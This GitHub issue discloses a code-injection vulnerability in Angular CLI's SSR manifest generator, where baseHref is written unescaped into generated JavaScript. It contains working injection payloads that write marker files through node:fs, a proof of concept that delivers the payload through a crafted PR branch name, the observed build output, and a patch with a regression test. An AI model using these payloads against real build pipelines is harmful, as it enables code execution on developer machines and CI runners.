Skip to content

Security: Angular CLI SSR manifest code injection via baseHref #33074

@foxllb

Description

@foxllb

Command

build

Is this a regression?

  • Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was

No response

Description

Report description

Angular CLI SSR manifest code injection via baseHref

The problem

Please describe the technical details of the vulnerability

1. technical details

The application builder accepts baseHref as an unrestricted string:

"baseHref": {
  "type": "string",
  "description": "Base url for the application being built."
}

During SSR and prerender-related builds, that value is forwarded into the server manifest generator:

const {
  baseHref = '/',
  serviceWorker,
  ssrOptions,
  indexHtmlOptions,
  optimizationOptions,
  sourcemapOptions,
  outputMode,
  serverEntryPoint,
  prerenderOptions,
  appShellOptions,
  publicPath,
  workspaceRoot,
  partialSSRBuild,
} = options;

// Create server manifest
const initialFilesPaths = new Set(initialFiles.keys());
if (serverEntryPoint && (outputMode || prerenderOptions || appShellOptions || ssrOptions)) {
  const { manifestContent, serverAssetsChunks } = generateAngularServerAppManifest(
    additionalHtmlOutputFiles,
    outputFiles,
    optimizationOptions.styles.inlineCritical ?? false,
    undefined,
    locale,
    baseHref,
    initialFilesPaths,
    metafile,
    publicPath,
  );

The manifest generator then embeds baseHref directly into generated .mjs source code using a single-quoted JavaScript string literal:

const manifestContent = `
export default {
  bootstrap: () => import('./main.server.mjs').then(m => m.default),
  inlineCriticalCss: ${inlineCriticalCss},
  baseHref: '${baseHref}',
  locale: ${JSON.stringify(locale)},
  routes: ${JSON.stringify(routes, undefined, 2)},
  entryPointToBrowserMapping: ${JSON.stringify(entryPointToBrowserMapping, undefined, 2)},
  assets: {
    ${Object.entries(serverAssets)
      .map(([key, value]) => `'${key}': ${value}`)
      .join(',\n    ')}
  },
};
`;

Because baseHref is inserted into executable module source without JavaScript escaping, a payload containing a quote can break out of the intended string and inject a new expression into the manifest module.

For example, a malicious baseHref like:

',pwn:(import(`node:fs`).then(m=>m.writeFileSync(`/tmp/angular-cli-basehref-ssr-manifest-rce`,`1`))),x:'

produces a generated server manifest like:

export default {
  bootstrap: () => import('./main.server.mjs').then(m => m.default),
  inlineCriticalCss: false,
  baseHref: '',pwn:(import(`node:fs`).then(m=>m.writeFileSync(`/tmp/angular-cli-basehref-ssr-manifest-rce`,`1`))),x:'',
  locale: undefined,
  routes: undefined,
  entryPointToBrowserMapping: {},
  assets: {

That injected import('node:fs').then(...) expression runs when the generated SSR manifest is loaded during the build's server-side rendering/prerender flow.

2. vulnerability reproduction

The attached PoC uses the current local angular-cli repository artifacts
instead of an external Angular release. It:

  1. builds local package tarballs from the current repository
  2. creates a minimal SSR/prerender application that consumes those tarballs
  3. initializes a trusted git repository for that project
  4. creates an attacker-controlled PR branch name
  5. derives a preview baseHref from that branch name, like a preview deployment workflow would
  6. runs a normal-looking build with the derived --base-href

The PoC is executed with:

cd ./work/angular-cli/pr_basehref_ssr_test
./run-poc.sh

The generated project uses the @angular-devkit/build-angular:application
builder with SSR and prerender enabled:

"build": {
  "builder": "@angular-devkit/build-angular:application",
  "options": {
    "outputPath": "dist/pr-basehref-preview",
    "index": "src/index.html",
    "browser": "src/main.ts",
    "server": "src/main.server.ts",
    "polyfills": ["zone.js"],
    "tsConfig": "tsconfig.app.json",
    "assets": [],
    "styles": ["src/styles.css"],
    "scripts": [],
    "ssr": true,
    "prerender": {
      "discoverRoutes": false,
      "routesFile": "routes.txt"
    }
  }
}

In the current PoC, the attacker does not pass a raw payload directly as a
manual CLI flag. Instead, the payload is embedded in a PR branch name that a
preview workflow turns into baseHref.

Attacker-controlled PR branch name:

pr-123-evil'+(globalThis.process.getBuiltinModule("fs").writeFileSync("/root/code/google/work/angular-cli/pr_basehref_ssr_test/runtime/build-rce-marker.txt","RCE_reached_the_build_worker."),"owned")+'tail

Preview workflow-derived baseHref:

/preview/pr-123-evil'+(globalThis.process.getBuiltinModule("fs").writeFileSync("/root/code/google/work/angular-cli/pr_basehref_ssr_test/runtime/build-rce-marker.txt","RCE_reached_the_build_worker."),"owned")+'tail/

The build still uses a normal-looking trigger:

npm run build:ci -- --base-href "${preview_base_href}"

Observed result:

[poc] Build-time RCE marker:
/root/code/google/work/angular-cli/pr_basehref_ssr_test/runtime/build-rce-marker.txt
RCE_reached_the_build_worker.

[poc] Compromised generated SSR artifact:
/root/code/google/work/angular-cli/pr_basehref_ssr_test/runtime/project/dist/pr-basehref-preview/server/angular-app-manifest.mjs
5:  baseHref: '/preview/pr-123-evil'+(globalThis.process.getBuiltinModule("fs").writeFileSync("/root/code/google/work/angular-cli/pr_basehref_ssr_test/runtime/build-rce-marker.txt","RCE_reached_the_build_worker."),"owned")+'tail/',

This demonstrates two things:

  • attacker-controlled JavaScript from baseHref executes during the SSR/prerender build flow
  • the generated SSR server artifact itself is poisoned with attacker-controlled executable code

3. patch

diff --git a/packages/angular/build/src/utils/server-rendering/manifest.ts b/packages/angular/build/src/utils/server-rendering/manifest.ts
index 8b7c6f2f54f2ddcb9d1d7dc3f4ef761ff0c6a3d7..596b820e3f1f37e9e54d223448a9ffcc3a96f4e1 100644
--- a/packages/angular/build/src/utils/server-rendering/manifest.ts
+++ b/packages/angular/build/src/utils/server-rendering/manifest.ts
@@ -85,7 +85,7 @@ export function generateAngularServerAppEngineManifest(
 
   const manifestContent = `
 export default {
-  basePath: '${basePath}',
+  basePath: ${JSON.stringify(basePath)},
   allowedHosts: ${JSON.stringify(allowedHosts, undefined, 2)},
   supportedLocales: ${JSON.stringify(supportedLocales, undefined, 2)},
   entryPoints: {
@@ -178,7 +178,7 @@ export function generateAngularServerAppManifest(
 export default {
   bootstrap: () => import('./main.server.mjs').then(m => m.default),
   inlineCriticalCss: ${inlineCriticalCss},
-  baseHref: '${baseHref}',
+  baseHref: ${JSON.stringify(baseHref)},
   locale: ${JSON.stringify(locale)},
   routes: ${JSON.stringify(routes, undefined, 2)},
   entryPointToBrowserMapping: ${JSON.stringify(entryPointToBrowserMapping, undefined, 2)},
diff --git a/packages/angular/build/src/builders/application/tests/options/ssr_spec.ts b/packages/angular/build/src/builders/application/tests/options/ssr_spec.ts
index 915e551f3f9257dce458ee1f54088114a8f72ba7..6134a5433678dd5a95df5ca2e9a50bf7448b9a49 100644
--- a/packages/angular/build/src/builders/application/tests/options/ssr_spec.ts
+++ b/packages/angular/build/src/builders/application/tests/options/ssr_spec.ts
@@ -56,6 +56,27 @@ describeBuilder(buildApplication, APPLICATION_BUILDER_INFO, (harness) => {
       expect(result?.success).toBeTrue();
       harness.expectDirectory('dist/server').toExist();
     });
+    
+    it('escapes special characters in baseHref before writing SSR manifest modules', async () => {
+      const baseHref = `',pwn:(globalThis.__baseHrefPwn='1'),x:'`;
+
+      harness.useTarget('build', {
+        ...BASE_OPTIONS,
+        baseHref,
+        server: 'src/main.server.ts',
+        ssr: { entry: 'src/server.ts' },
+      });
+
+      const { result } = await harness.executeOnce();
+      expect(result?.success).toBeTrue();
+
+      harness.expectFile('dist/server/angular-app-manifest.mjs').content.not.toContain(`baseHref: '',pwn:`);
+      harness
+        .expectFile('dist/server/angular-app-manifest.mjs')
+        .content.toContain(`baseHref: ${JSON.stringify(baseHref)}`);
+      harness.expectFile('dist/server/angular-app-engine-manifest.mjs').content.not.toContain(`basePath: '',pwn:`);
+      harness
+        .expectFile('dist/server/angular-app-engine-manifest.mjs')
+        .content.toContain(`basePath: ${JSON.stringify(baseHref)}`);
+    });
 
     it(`should not emit 'server' directory when 'ssr' is 'false'`, async () => {
       await harness.writeFile('file.mjs', `console.log('Hello!');`);

Impact analysis – Please briefly explain who can exploit the vulnerability, and what they gain when doing so

An attacker who can influence the baseHref value used in an Angular SSR or prerender build can exploit this issue by supplying a crafted baseHref through workspace configuration, build arguments, or upstream metadata that a preview/deployment workflow turns into baseHref (for example, a PR branch name).

Successful exploitation executes attacker-controlled Node.js code with the privileges of the Angular CLI build process. In practice, this gives the attacker code execution on the developer workstation or CI runner performing the build.

Minimal Reproduction

pr_basehref_ssr_test.tar.gz

Exception or Error


Your Environment

latest code

Anything else relevant?

No response

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions